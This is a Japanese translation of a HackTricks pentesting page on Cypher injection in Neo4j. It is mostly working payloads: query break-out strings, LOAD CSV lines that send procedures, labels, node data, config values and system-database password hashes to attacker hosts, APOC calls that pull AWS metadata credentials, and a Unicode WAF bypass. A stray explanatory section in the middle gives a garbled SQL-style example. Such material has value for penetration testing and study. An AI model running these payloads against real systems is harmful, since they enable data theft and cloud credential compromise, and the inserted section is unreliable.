hacktricks/pentesting-web/sql-injection/cypher-injection-neo4j.md
2023-07-07 23:42:27 +00:00

305 lines
21 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Cypherインジェクションneo4j
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* サイバーセキュリティ会社で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
## 一般的なCypherインジェクション
**MATCH**と**WHERE**ステートメントは**一般的なシナリオ**です。
インジェクションを見つけた場合、その利用方法はクエリ内の**位置に依存**します。以下は、異なるインジェクションの位置と利用例の表です:
| インジェクション可能なクエリ | インジェクション |
| ------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------- |
| `MATCH (o) WHERE o.Id='{input}'` | `' OR 1=1 WITH 0 as _l00 {…} RETURN 1 //` |
| <p><code>MATCH (o) WHERE '{input}' = o.Id</code><br><code>MATCH (o) WHERE {input} in [different, values]</code></p> | `'=' {…} WITH 0 as _l00 RETURN 1 //` |
| `MATCH (o) WHERE o:{input}` | `a {…} WITH 0 as _l00 RETURN 1 //` |
| `` MATCH (o) WHERE o:`{input}` `` | ``a` {...} WITH 0 as _l00 RETURN 1 //`` |
| `MATCH (o {id:'{input}'})` | `'}) RETURN 1 UNION MATCH (n) {...} RETURN 1 //` |
| `MATCH (o:{input})` | `a) RETURN 1 UNION MATCH (n){...} RETURN 1//` |
| ``MATCH (o:`{input}`)`` | ``a`) RETURN 1 UNION MATCH (n){...} RETURN 1 //`` |
| `MATCH (o)-[r {id:'{input}'})]-(o2)` | `'}]-() RETURN 1 UNION MATCH (n){...} RETURN 1//` |
| `MATCH (o)-[r:{input}]-(o2)` | `a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //` |
| ``MATCH (o)-[r:`{input}`]-(o2)`` | ``a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //`` |
UNIONステートメントに注目してください
1. UNIONが必要な理由は、MATCHステートメントが何も返さない場合、クエリの残りの部分は実行されません。したがって、そこで行う悪意のあることは単に実行されません。
2. UNIONの前に「RETURN 1」を追加することで、両方の部分が同じ列を返すようにし、クエリが実行されるようにします。
では、「WITH」ステートメントはどうなっていますか
WITHを使用すると、すべての既存の変数を削除できます。これは、クエリが何であるかわからない場合に重要です後で詳しく説明します。ペイロードが誤って既に存在する変数を設定しようとすると、クエリは実行に失敗します。
もちろん、クエリとデータベースがわかっている場合、これらのテクニックは必要ありません。サーバーを悪用するだけでなく、返されたデータを操作してプロセスを操作することさえできます。
## HTTPエクスフィルトレーション
以下の方法を使用して、情報を攻撃者が制御するドメインにエクスフィルトレートすることができます:
```sql
LOAD CSV FROM 'https://attacker.com/'
```
例えば
```sql
// Injection in:
MATCH (o) WHEREo.Id='{input}' RETURN o
// Injection to get all the preocedures
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
```
## APOC
攻撃者が最初にチェックすべきことは、**APOCがインストールされているかどうか**です。APOCCypherの素晴らしい手続きは、Neo4jの公式にサポートされているプラグインであり、その機能を大幅に向上させます。APOCは、開発者が環境で使用できる多くの**追加の関数と手続き**を追加します。攻撃者は、APOCが提供するさまざまな手続きと関数を使用して、より高度な攻撃を実行することができます。
### データの処理とHTTPリクエストの送信のための手続き
* `apoc.convert.toJson`ード、マップなどをJSONに変換します
* `apoc.text.base64Encode` — 文字列をbase64でエンコードします
**ヘッダーを設定**し、GET以外の他のメソッドを**送信することも可能**です。例:
{% code overflow="wrap" %}
```sql
CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value
CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list
```
{% endcode %}
### クエリの評価手順
* `apoc.cypher.runFirstColumnMany` — 最初の列の値をリストとして返す関数
* `apoc.cypher.runFirstColumnSingle` — 最初の列の最初の値を返す関数
* `apoc.cypher.run` — クエリを実行し、結果をマップとして返す手続き
* `apoc.cypher.runMany` — セミコロンで区切られたクエリまたは複数のクエリを実行し、結果をマップとして返す手続き。クエリは異なるトランザクションで実行されます。
## 情報の抽出
### サーバーバージョン
サーバーバージョンを取得する方法の一つは、手続き `dbms.components()` を使用することです。
{% code overflow="wrap" %}
```sql
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
```
### 実行中のクエリを取得する
最も簡単な方法は、手続き `dmbs.listQueries()` を使用することです。
{% code overflow="wrap" %}
```sql
' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 //
```
{% endcode %}
**Neo4j 5 `dbms.listQueries`は削除されました**。代わりに、「SHOW TRANSACTIONS」を使用することができます。2つの主な制限があります**SHOWクエリはインジェクションできません**。また、`listQueries`とは異なり、トランザクションで現在実行中のクエリのみを表示することができます。
**APOC**コアが**インストールされている**場合、それを使用してSHOW TRANSACTIONSを実行することができます。同じトランザクションで実行する場合、クエリではなくSHOW TRANSACTIONSのみが返されます。他のapoc.cypher関数や手続きとは異なり、**`apoc.cypher.runMany`**を使用してSHOW TRANSACTIONSを実行することができます。
{% code overflow="wrap" %}
```sql
' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//
```
### ラベルの取得
組み込みメソッド **`db.labels`** を使用すると、すべての既存のラベルをリストすることができます。
{% code overflow="wrap" %}
```sql
'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip/?l='+label as l RETURN 0 as _0
```
### キーのプロパティを取得する
組み込み関数 **`keys`** を使用して、プロパティのキーをリストアップすることができますフィールドの1つがリストまたはマップの場合は機能しません
{% code overflow="wrap" %}
```sql
' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
```
{% endcode %}
もしAPOCが利用可能であれば、`apoc.convert.toJson`を使用することでより良い方法があります。
```sql
' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 //
```
### 関数と手続きの取得
組み込み手続き **`dbms.functions()`** と **`dbms.procedures()`** を使用すると、すべての関数と手続きをリストすることができます。
{% code overflow="wrap" %}
```sql
' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
```
以下は、Cypherインジェクションに関する情報です。Cypherインジェクションは、Neo4jデータベースに対するSQLインジェクションの一種です。Cypherは、Neo4jのクエリ言語であり、データベース内のードや関係を操作するために使用されます。
Cypherインジェクションは、ユーザーの入力を適切に検証せずにクエリに組み込むことによって発生します。攻撃者は、悪意のあるCypherクエリを注入することで、データベースの機密情報を取得したり、データベースを破壊したりすることができます。
Cypherインジェクションを防ぐためには、入力の検証とエスケープが重要です。入力を適切に検証し、Cypherクエリに組み込む前にエスケープすることで、攻撃者が悪意のあるクエリを注入することを防ぐことができます。
以下は、Cypherインジェクションの例です。
```cypher
MATCH (u:User {username: '$username', password: '$password'}) RETURN u
```
このクエリでは、ユーザー名とパスワードを受け取り、一致するユーザーを返します。しかし、このクエリは入力の検証やエスケープが行われていないため、攻撃者はユーザー名やパスワードの値に悪意のあるCypherクエリを注入することができます。
攻撃者が以下のようなユーザー名を入力した場合、Cypherインジェクションが発生します。
```
' OR 1=1 --
```
この場合、クエリは次のようになります。
```cypher
MATCH (u:User {username: '' OR 1=1 --', password: '$password'}) RETURN u
```
このクエリでは、`OR 1=1`の部分によって常に真の条件が成立し、すべてのユーザーが返されます。攻撃者は、認証をバイパスしてデータベース内のすべてのユーザー情報を取得することができます。
Cypherインジェクションは、Neo4jデータベースのセキュリティに重大な脆弱性をもたらす可能性があります。適切な入力の検証とエスケープを行うことで、この脆弱性を防ぐことができます。{% endcode %}
{% code overflow="wrap" %}
```sql
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
```
{% endcode %}
これらの手順はNeo4j 5で削除されました。代わりに、**`SHOW PROCEDURES`**と**`SHOW FUNCTIONS`**を使用することができます。SHOWクエリはインジェクションされません。
APOCコアがインストールされている場合、クエリを実行する手続きや関数をリストアップするために、いずれかの手続きや関数を使用することができます。
```sql
' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
```
```sql
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //
```
### システムデータベースの取得
システムデータベースは通常クエリできない特別なNeo4jデータベースです。以下のような興味深いデータがードとして格納されています
* データベース
* ロール
* ユーザー(パスワードのハッシュを含む!)
APOCを使用すると、ハッシュを含むードを取得することができます。ただし、これは管理者のみが実行できます。ただし、**Neo4jの無料版では管理者ユーザーしか存在せず、他のユーザーは存在しない**ため、管理者として実行されることは珍しくありません。
データを取得するためには、手続き **`apoc.systemdb.graph()`** を使用します。
{% code overflow="wrap" %}
```sql
' OR 1=1 WITH 1 as a call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //
```
{% endcode %}
Neo4jは、ハッシュを生成するためにApache ShiroのSimpleHashを使用します。
結果は、カンマ区切りの値の文字列として保存されます:
* ハッシュアルゴリズム
* ハッシュ
* ソルト
* イテレーション
**例:**
```plaintext
SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024
```
### **環境変数の取得**
APOCを使用することで、手続き**`apoc.config.map()`**または**`apoc.config.list()`**を使用して環境変数を取得することができます。
これらの手続きは、confファイルdbms.security.procedures.unrestrictedの制限のない手続きのリストに含まれている場合にのみ使用できます。これは思っている以上に一般的であり、設定名をGoogleで検索すると、「apoc.\*」という値を追加することを勧める多くのサイトやガイドが表示されます。これにより、すべてのAPOC手続きが許可されます。
```sql
' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 //
```
**注意:** Neo4j5では、手順がAPOC拡張に移動されました。
### AWSクラウドメタデータエンドポイント
#### IMDSv1
{% code overflow="wrap" %}
```sql
LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _
```
#### IMDSv2
ヘッダーを指定する必要があり、GET以外のメソッドを使用する必要があります。
`LOAD CSV`はこれらのいずれも行うことができませんが、`apoc.load.csvParams`を使用してトークンとロールを取得し、その後`apoc.load.jsonParams`を使用して資格情報自体を取得することができます。csvParamsを使用する理由は、応答が有効なJSONではないためです。
{% code overflow="wrap" %}
```sql
CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token
CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role
CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value
```
{% endcode %}
#### AWS APIに直接接触する
{% code overflow="wrap" %}
```sql
CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list
```
{% endcode %}
* $dataは%Y%m%dT%H%M%SZの形式でフォーマットされています
* $tokenはメタデータサーバーから取得したトークンです
* $signed_tokenはhttps://docs.aws.amazon.com/general/latest/gr/signing_aws_api_requests.htmlに従って計算されます
## WAFバイパス
### Unicodeインジェクション
Neo4j >= v4.2.0では、**「\uXXXX」を使用してUnicodeをインジェクションすることができます**。たとえば、サーバーが'、"、`などの文字を削除しようとする場合にこの方法を使用できます。
Unicodeエスケープシーケンスの後に文字が続く場合、これは機能しないかもしれません。その後にスペースを追加するか、別のUnicode表記を使用することが**安全**です。
たとえば、サーバーがシングルクォートを削除し、クエリが以下のようになっている場合:
```sql
MATCH (a: {name: '$INPUT'}) RETURN a
```
以下のようなインジェクションが可能です:
{% code overflow="wrap" %}
```sql
\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o //
```
{% endcode %}
## 参考文献
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>